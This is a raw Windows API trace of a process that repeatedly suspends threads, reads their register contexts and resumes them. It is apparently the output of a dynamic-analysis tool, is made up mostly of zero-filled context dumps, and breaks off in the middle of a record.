	[0245.624] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.627] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x184, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0245.627] SuspendThread (hThread=0x1ac) returned 0x0
	[0245.627] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10287, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001e39d0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1148d33, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0245.641] ResumeThread (hThread=0x1ac) returned 0x1
	[0245.642] CloseHandle (hObject=0x1ac) returned 1
	[0245.642] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.643] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0245.643] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.660] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0245.660] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x184, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0245.660] SuspendThread (hThread=0x1ac) returned 0x0
	[0245.660] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10287, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001e39d0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1148d33, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0245.669] ResumeThread (hThread=0x1ac) returned 0x1
	[0245.670] CloseHandle (hObject=0x1ac) returned 1
	[0245.670] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.673] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0245.673] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.680] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x184, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0245.680] SuspendThread (hThread=0x1ac) returned 0x0
	[0245.680] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10287, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001e39d0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1148d33, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0245.683] ResumeThread (hThread=0x1ac) returned 0x1
	[0245.683] CloseHandle (hObject=0x1ac) returned 1
	[0245.683] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.709] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0245.709] SetEvent (hEvent=0x190) returned 1
	[0245.709] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x178, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0245.709] SuspendThread (hThread=0x1ac) returned 0x0
	[0245.709] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000c9d60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0245.760] ResumeThread (hThread=0x1ac) returned 0x1
	[0245.760] CloseHandle (hObject=0x1ac) returned 1
	[0245.761] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.778] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0245.778] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.801] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x184, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x120) returned 1
	[0245.801] SuspendThread (hThread=0x120) returned 0x0
	[0245.801] GetThreadContext (in: hThread=0x120, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x7070dffc88, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5c64, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, 